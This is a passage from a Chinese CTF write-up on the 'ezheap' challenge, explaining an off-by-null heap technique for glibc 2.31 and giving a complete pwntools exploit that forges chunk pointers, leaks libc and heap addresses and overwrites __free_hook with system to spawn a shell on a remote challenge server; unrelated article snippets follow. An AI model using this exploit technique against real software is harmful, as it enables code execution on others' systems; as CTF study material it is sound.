[libc-2.31 off_by_null] N0wayBack ezheap练习

以前保留了个WP,但是没复现过也没法用,用了两个晚上慢慢理复现一下。

先看这个题

  while ( 1 ){menu();__isoc99_scanf("%d", &v3);switch ( v3 ){case 1:m1add();     //带readbreak;case 2:m2free();break;case 3:m3edit();    //溢出break;case 4:m4show();break;case 5:exit(0);default:continue;}}

可以建31个块,数量不是问题,edit的时候会有溢出,并且\n会被转化为\0

unsigned __int64 __fastcall read_0(__int64 a1, unsigned int a2)
{char buf; // [rsp+13h] [rbp-Dh] BYREFunsigned int i; // [rsp+14h] [rbp-Ch]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);for ( i = 0; a2 > i; ++i ){buf = 0;if ( read(0, &buf, 1uLL) < 0 ){puts("Read error.");exit(-2);}if ( buf == 10 ){*(_BYTE *)((int)i + a1) = 0;return __readfsqword(0x28u) ^ v5;}*(_BYTE *)(a1 + (int)i) = buf;}*(_BYTE *)((int)i + a1) = 0;return __readfsqword(0x28u) ^ v5;
}

这个溢出,听说来看一句话。当输入n个字符后在后边加一个\0

buf[read(0,buf,n)]=0;

先看下在旧版本上的处理办法。2.27以前时候可以形成向前合并,生成重叠块。方法是建块ABCD

A块大小可以释放到unsort,B块通过溢出修改C块的size修改C的presize为A+B,C的size尾字节为0,C要能释放到unsort并且size尾应该是01(比如0x501),D用来分隔。先释放A,然后通过B修改C的size尾再释放C,形成向前合并,将未释放的B一起进入unsort,再建块时会跟B形成重叠块。

在2.31后就多了检查。这样释放就不允许了。新的方法是通过残留绕过检查。需要在3个块的指针其中C.fd->A,C.bk->D,A.bk->C,D.fd->C

具体思路:

  1. 建ABCD 4个块,BC相邻,其它中间有间隔。C的位置(presize,不是数据开始)尾字节为0。大小满足C>D>A,在C的位置生成指针。
  2. 造C的指针。依次释放ACD,这时在C的头部会生成指向A和D的指针C.fd->A,C.bk->D
  3. 释放B,会和C合并,再建B(oldB+0x20)将原来的指针保留在newB的尾部
  4. 修复A.bk,释放A和newC再次形成指针链,这时A.bk->newC,重建A并通过off_by_null将bk的尾覆盖为0(指向oldC)
  5. 修复D.fd,释放newC和D,D.fd->newC,再建D时覆盖fd尾字节为0指向oldC
  6. 在D后边的分隔后建尾E(0xa01)
  7. 编辑D后的分隔,写入E的presize= oldC+间隔+D+间隔,off_by_null覆盖E的size尾为\0
  8. 释放E向前合并,不过这时会将 top_chunk一起合并,不过这不影响使用,再建块时形成重叠。

后边由于2.31还没有去掉free_hook,在得到重叠块后可以直接往free_hook写system.

另外这题有编号是自动的,这个东西极其讨厌,如果记不好只能一点点调。为方便我一步步记录下来省得乱。也算个着吧。

from pwn import *#p = process('./ezheap')
p = remote('36.152.17.3', 10016)
context(arch='amd64', log_level='debug')libc = ELF('./libc-2.31.so')def add(size, msg=b'\n'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"Length of game description:\n", str(size).encode())p.sendlineafter(b"Game description:\n", msg)def free(idx):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"game index: ", str(idx).encode())def edit(idx, msg):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"game index: ", str(idx).encode())p.sendlineafter(b"Game description:\n", msg)def show(idx):p.sendlineafter(b">> ", b'4')p.sendlineafter(b"game index: ", str(idx).encode())#           padding        A           B     C           D
#                          1    2      3     4     5     6     7
for i in [0x1000-0xf0+8,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:add(i)#A-C-D largebin-chain
for i in [1,4,6,3]:  #free ACD,free B combin BCfree(i)#fack newC   oldC fd->A,bk->D
add(0x438, b'\x00'*0x418+p64(0xb91)[:-1]) #newB 1
add(0x418) #newC 3
add(0x428) #D    4
add(0x418, b'1'*0x100) #A    6
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
#0x55555555cb00: 0x0000000000000000      0x0000000000000b91
#0x55555555cb10: 0x000055555555c1a0      0x000055555555d040
#0x55555555cb20: 0x0000000000000000      0x0000000000000421#repair bk
free(6)
free(3)
add(0x418, b'PIG007nb\n')
add(0x418)
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
##                          3    2      1      6    5     4     7
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208]:
#0x55555555c1b0: 0x0000000000000000      0x0000000000000421
#0x55555555c1c0: 0x626e373030474950      0x000055555555cb00#repair fd
free(6) #newC
free(4) #D
add(0x9f8) #unlink_point
#add(0x9f8) #no combine top_chunk
add(0x428, b'\n') #overflow \x00 in fd
##                          1    2      3     4     5     6     7
##                          6    2      1 [    3    5     4     7 ]B90
##                          3    2      1 [    6    5     4     7 ]
##                          3    2      1 [ unsort  5     6     7 ]   4
#for i in [0x1000-8-0xf0,0x418,0x108,0x418,0x438,0x108,0x428,0x208, 0x9f8]:
#0x55555555d050: 0x0000000000000000      0x0000000000000431
#0x55555555d060: 0x000055555555cb00      0x00007ffff7fc1fd0
'''
#0x55555555c1b0: 0x0000000000000000      0x0000000000000421
#0x55555555c1c0: ------------------      0x000055555555cb00->C     A
#0x55555555cb00: 0x0000000000000000      0x0000000000000b91
#0x55555555cb10: 0x000055555555c1a0->A   0x000055555555d040->D   oldC
#0x55555555d050: 0x0000000000000000      0x0000000000000431
#0x55555555d060: 0x000055555555cb00->C   ------------------     D
'''#unlink
edit(7, b'1'*0x200 + p64(0xb90))  #3 0x501-0x500,presize=0x550
free(4)add(0x438) #4 cb10 free后会与top_chunk合并,并没有unsort指针泄露
add(0x418) #8      清除残留的unsort
add(0x418) #9 == 5 再建的块与原块形成重叠块,再次释放时得到残留libc
add(0x108) #10 D370
free(9)
#0x55555555cf40: 0x0000000000000420      0x0000000000001151
#0x55555555cf50: 0x00007ffff7fc1be0      0x00007ffff7fc1be0show(5)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")add(0x78) #9
add(0x78) #11free(11)
free(9)
show(5)
heap_address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x1fd0
print(f"{heap_address = :x}")edit(5, p64(libc.sym['__free_hook'])[:-1])
add(0x78, b'/bin/sh') #9
add(0x78, p64(libc.sym['system'])) #11 __free_hookfree(9)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/107190.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言_指针进阶(下)

文章目录 前言一、函数指针数组二、指向函数指针数组的指针三. 回调函数四. qsort 函数五. 数组名的理解 sizeof5.1 数组名的理解&#xff08;二维数组)5.1.1 数组名的理解 strlen5.1.2 例题&#xff1a;例一.例二.例三.例四. 前言 一、函数指针数组 数组是一个存放相同类型数…

基于STM32程序万年历液晶1602显示-proteus仿真-源程序

一、系统方案 本设计采用STM32单片机作为主控器&#xff0c;液晶1602显示&#xff0c;按键设置万年历。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 //通用定时器3中断初始化 //这里时钟选择为APB1的2倍&#xff0c;而APB1为36M //arr&…

强大的JTAG边界扫描(5):FPGA边界扫描应用

文章目录 1. 获取芯片的BSDL文件2. 硬件连接3. 边界扫描测试4. 总结 上一篇文章&#xff0c;介绍了基于STM32F103的JTAG边界扫描应用&#xff0c;演示了TopJTAG Probe软件的应用&#xff0c;以及边界扫描的基本功能。本文介绍基于Xilinx FPGA的边界扫描应用&#xff0c;两者几乎…

嵌入式学习之链表

对于链表&#xff0c;要重点掌握链表和数组区别和实现&#xff0c;链表静态添加和动态遍历&#xff0c;链表中pointpoint-next,链表节点个数的查找&#xff0c;以及链表从指定节点后方插入新节点的知识。

024 - STM32学习笔记 - 液晶屏控制(一) - LTDC与DMA2D初始

024- STM32学习笔记 - LTDC控制液晶屏 在学习如何控制液晶屏之前&#xff0c;先了解一下显示屏的分类&#xff0c;按照目前市场上存在的各种屏幕材质&#xff0c;主要分为CRT阴极射线管显示屏、LCD液晶显示屏、LED显示屏、OLED显示屏&#xff0c;在F429的开发板上&#xff0c;…

STLINK-V3 STDC14座转2.54mm排针转接板Kicad工程

简介 这是一个 STLINK-V3 STDC14座转2.54mm排针转接板Kicad工程 。STDC14座实际工作中不太方便&#xff0c;所以搞了这个转接板。另外转接版上提供了可选的电源输出功能。 An adapter board for STLINK-V3. It change the STDC14 to 2.54mm pin header.It also provides 5V an…

提示msvcr120.dll丢失怎样修复呢?全面分析msvcr120.dll解决方法

在计算机使用过程中&#xff0c;可能会遇到 msvcr120.dll 丢失的问题。msvcr120.dll 是 Microsoft Visual C Redistributable 的一部分&#xff0c;是一个动态链接库文件&#xff08;DLL&#xff09;&#xff0c;用于支持运行在 Windows 操作系统上使用了 Microsoft Visual C 2…

防止公司电脑文件数据外泄(任何途径)

公司可以采取以下措施&#xff0c;使用天锐绿盾加密管理方案&#xff0c;以防止内部终端电脑文件数据外泄&#xff1a; ▷对公司各类文档进行加密管理&#xff0c;采取高强度的加密措施&#xff0c;确保即使文档被窃取&#xff0c;也无法被打开查看。同时&#xff0c;该方案还提…

电路电子技术1--关联参考方向及功率的计算

1.判断 电流由元件的低点位端流向高电位端的参考方向称为关联参考方向。() 考点&#xff1a;电流、电压的参考方向 解释&#xff1a;在一些复杂的电路中&#xff0c;往往不能预先确定某段电路上的电流、电压的实际方向&#xff0c;所以引进了 “关联参考方向”。为了能够解决问…

无涯教程-JavaScript - RATE函数

描述 RATE函数返回年金每个周期的利率。 RATE通过迭代计算得出,可以有零个或多个解。如果RATE的连续输出在20次迭代后未收敛到0.0000001以内,则RATE返回#NUM!错误值。 语法 RATE (nper, pmt, pv, [fv], [type], [guess])有关参数nper,pmt,pv,fv和type的完整说明,请参见PV Fu…

海南大学金秋悦读《乡村振兴战略下传统村落文化旅游设计》2023新学年许少辉八一新书​

海南大学金秋悦读《乡村振兴战略下传统村落文化旅游设计》2023新学年许少辉八一新书​

2023/9/12 -- C++/QT

作业 实现一个图形类&#xff08;Shape&#xff09;&#xff0c;包含受保护成员属性&#xff1a;周长、面积&#xff0c; 公共成员函数&#xff1a;特殊成员函数书写 定义一个圆形类&#xff08;Circle&#xff09;&#xff0c;继承自图形类&#xff0c;包含私有属性&#xf…